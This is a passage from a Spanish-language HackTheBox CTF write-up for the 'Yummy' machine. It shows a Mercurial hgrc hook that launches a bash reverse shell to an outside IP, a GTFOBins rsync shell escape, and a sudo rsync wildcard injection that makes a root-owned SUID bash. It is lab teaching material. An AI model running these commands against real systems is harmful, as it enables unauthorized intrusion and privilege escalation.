3çMatching Defaults entries for qa on localhost:
4 env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
5
6User qa may run the following commands on localhost:
7 (dev : dev) /usr/bin/hg pull /home/dev/app-production/
En el directorio personal de qa
me encuentro el archivo de configuración .hgrc
1qa@yummy:~$ cat .hgrc
2# example user config (see 'hg help config' for more info)
3[ui]
4# name and email, e.g.
5# username = Jane Doe <jdoe@example.com>
6username = qa
7
8# We recommend enabling tweakdefaults to get slight improvements to
9# the UI over time. Make sure to set HGPLAIN in the environment when
10# writing scripts!
11# tweakdefaults = True
12
13# uncomment to disable color in command output
14# (see 'hg help color' for details)
15# color = never
16
17# uncomment to disable command output pagination
18# (see 'hg help pager' for details)
19# paginate = never
20
21[extensions]
22# uncomment the lines below to enable some popular extensions
23# (see 'hg help extensions' for more info)
24#
25# histedit =
26# rebase =
27# uncommit =
28[trusted]
29users = qa, dev
30groups = qa, dev
Leyendo la documentación encontramos lo siguiente:
pre-COMMAND Run before executing the associated command. The contents of the command line are passed as $HG_ARGS. Parsed command line arguments are passed as $HG_PATS and $HG_OPTS. These contain string representations of the data internally passed to
. $HG_OPTS is a dictionary of options (with unspecified options set to their defaults). $HG_PATS is a list of arguments. If the hook returns failure, the command doesn’t execute and Mercurial returns the failure code.
pre-COMMAND: Este es un tipo de hook que se ejecuta antes de que se ejecute un comando específico en Mercurial.
Run before executing the associated command: Indica que este hook se activa justo antes de que el comando asociado se ejecute.
$HG_ARGS: Contiene los argumentos de la línea de comandos que se pasan al hook. Es una representación en forma de cadena de todos los argumentos que el usuario ha proporcionado al ejecutar el comando.
$HG_PATS: Es una lista de argumentos que se han pasado al comando, después de ser analizados. Esto permite al hook saber qué argumentos específicos se han usado.
$HG_OPTS: Es un diccionario que contiene las opciones que se han pasado al comando. Si algunas opciones no se especifican, se establecen en sus valores predeterminados.
Failure Code: Si el hook devuelve un error (failure), el comando no se ejecuta y Mercurial devuelve un código de error. Esto permite a los usuarios o scripts evitar que se realicen acciones no deseadas si se cumplen ciertas condiciones.
Por lo cual podemos crear un hook pre-pull
por ejemplo, que se ejecutará antes de hacer un pull, y como esto se ejecutará como dev
podríamos migrar a este usuario.
Vamos a crear el directorio /tmp/.hg
y vamos a copiarnos el .hgrc
del usuario qa
dentro de este directorio.
1qa@yummy:/tmp$ mkdir .hg
2qa@yummy:/tmp$ cd .hg/
3qa@yummy:/tmp/.hg$ ls
4qa@yummy:/tmp/.hg$ cp /home/qa/.hgrc .
Ahora vamos a modificar el .hgrc
para agregar al hook abajo del todo y ejecutar el script /tmp/pivot.sh
Revisando la documentación, el archivo de configuración debe llamarse hgrc
y no .hgrc
1qa@yummy:/tmp/.hg$ mv .hgrc hgrc
2qa@yummy:/tmp/.hg$ nano hgrc
Ahora creamos /tmp/pivot.sh
para mandarnos una revshell.
1qa@yummy:/tmp$ cat pivot.sh
2#!/bin/bash
3
4bash -c "bash -i >& /dev/tcp/10.10.16.9/443 0>&1"
Nos ponemos en escucha con pwncat-cs
por el puerto 443.
1$ sudo pwncat-cs -lp 443
Ahora, si todo ha salido bien, ejecutamos como dev
el comando que se nos permite.
1qa@yummy:/tmp$ sudo -u dev /usr/bin/hg pull /home/dev/app-production/
Y ganamos acceso como el usuario dev
1$ sudo pwncat-cs -lp 443
2/usr/local/lib/python3.11/dist-packages/paramiko/transport.py:178: CryptographyDeprecationWarning: Blowfish has been deprecated and will be removed in a future release
3 'class': algorithms.Blowfish,
4[15:57:01] Welcome to pwncat 🐈! __main__.py:164
5[15:57:19] received connection from 10.129.29.218:53060 bind.py:84
6[15:57:21] 10.129.29.218:53060: registered new host w/ db manager.py:957
7(local) pwncat$
8
9(remote) dev@yummy:/tmp$ id
10uid=1000(dev) gid=1000(dev) groups=1000(dev)
Privilege Escalation
Rápidamente nos damos cuenta de que dev
puede ejecutar un comando como root
1(remote) dev@yummy:/tmp$ sudo -l
2Matching Defaults entries for dev on localhost:
3 env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
4
5User dev may run the following commands on localhost:
6 (root : root) NOPASSWD: /usr/bin/rsync -a --exclude\=.hg /home/dev/app-production/* /opt/app/
Podemos ejecutar sin contraseña el comando /usr/bin/rsync -a --exclude\=.hg /home/dev/app-production/* /opt/app/
como root
En resumen este comando copia todo lo que haya en /home/dev/app-production/*
a /opt/app
Esa wildcard cuidado, consultando GTFOBins encontramos lo siguiente.
Podemos escalar privilegios utilizando el parámetro -e
pero no nos sirve para nada ya que corresponde a --rsh
.
sudo rsync -e 'sh -c "sh 0<&2 1>&2"' 127.0.0.1:/dev/null
Eso era algo informativo.
Pero podemos aprovecharnos de esa wildcard para agregar otro parámetro, revisando el manual de rsync
vemos un parámetro --chown
, esto sirve para al hacer el rsync
, establecer un usuario y un grupo a los archivos, y como este comando lo podemos ejecutar como root
, teóricamente podríamos crear un archivo nuevo, hacer el rsync
agregando la flag --chown=root:root
y los archivos nuevos se crearían como root
Vamos a copiarnos la /bin/bash
como pointedshell
en /home/dev/app-production
y establecer el bit SUID a 1.
1(remote) dev@yummy:/home/dev/app-production$ cp /bin/bash pointedshell
2(remote) dev@yummy:/home/dev/app-production$ chmod u+s pointedshell
3(remote) dev@yummy:/home/dev/app-production$ ls -la
4total 1456
5drwxr-xr-x 7 dev dev 4096 Oct 7 14:16 .
6drwxr-x--- 7 dev dev 4096 Oct 7 14:16 ..
7drwxrwxr-x 5 dev dev 4096 May 28 14:25 .hg
8-rw-rw-r-- 1 dev dev 10037 May 28 20:19 app.py
9drwxr-xr-x 3 dev dev 4096 May 28 13:59 config
10drwxr-xr-x 3 dev dev 4096 May 28 13:59 middleware
11-rwsr-xr-x 1 dev dev 1446024 Oct 7 14:16 pointedshell
12drwxr-xr-x 6 dev dev 4096 May 28 13:59 static
13drwxr-xr-x 2 dev dev 4096 May 28 14:13 templates
Ahora si se conservasen esos permisos pero cambiase el propietario a root
podríamos lanzarnos una bash como root
Ahora si nos vamos al directorio anterior (no debe de estar en uso), y ejecutamos nuestro comando añadiendo el parámetro --chown
que es perfectamente válido debido al uso de la wildcard (*)
1(remote) dev@yummy:/home/dev/app-production$ cd ..
2(remote) dev@yummy:/home/dev$ sudo /usr/bin/rsync -a --exclude\=.hg /home/dev/app-production/* --chown=root:root /opt/app/
En principio se deberían de hacer sincronizado los archivos en /opt/app/
pero cambiando el propietario a root
, lo podemos comprobar.
1(remote) dev@yummy:/home/dev$ ls -la /opt/app/
2total 1456
3drwxrwxr-x 7 root www-data 4096 Oct 7 14:18 .
4drwxr-xr-x 3 root root 4096 Sep 30 08:16 ..
5drwxrwxr-x 2 www-data www-data 4096 Sep 30 08:16 __pycache__
6-rw-rw-r-- 1 root root 10037 May 28 20:19 app.py
7drwxr-xr-x 3 root root 4096 May 28 13:59 config
8drwxr-xr-x 3 root root 4096 May 28 13:59 middleware
9-rwsr-xr-x 1 root root 1446024 Oct 7 14:18 pointedshell
10drwxr-xr-x 6 root root 4096 May 28 13:59 static
11drwxr-xr-x 2 root root 4096 May 28 14:13 templates
Y vemos que pointedshell
tiene el bit de SUID a 1 y su propietario es root
Este proceso hay que hacerlo rápido ya que hay un script por detrás que va borrando los archivos, pero si lo hacemos rápido y nos lanzamos nuestra pointedshell
con el parámetro -p
, ganamos una consola privilegiada.
1(remote) dev@yummy:/home/dev$ /opt/app/pointedshell -p
2(remote) root@yummy:/home/dev# id
3uid=1000(dev) gid=1000(dev) euid=0(root) groups=1000(dev)
Podríamos leer la flag de root
1(remote) root@yummy:/root# cat root.txt
206b2d1a140c6cdbf1...
¡Y ya estaría!
Happy Hacking! 🚀
#HackTheBox #Yummy #Writeup #Cybersecurity #Penetration Testing #CTF #Reverse Shell #Privilege Escalation #RCE #Exploit #Linux #HTTP Enumeration #Local File Inclusion #Directory Path Traversal #Python Scripting #Scripting #Abusing CRON #Information Leakage #Information Disclosure #Analyzing Codebase #RSA Key Exposure #RSA Private Key Creation #Factorizing P and Q #Self-Signing JWT Token #SQL Injection #Abusing FILE Privilege #Abusing MissConfigured UNIX Permissions #Abusing Mercurial #Abusing Hgrc Hooks #Abusing Wildcard in Sudo #Abusing RSync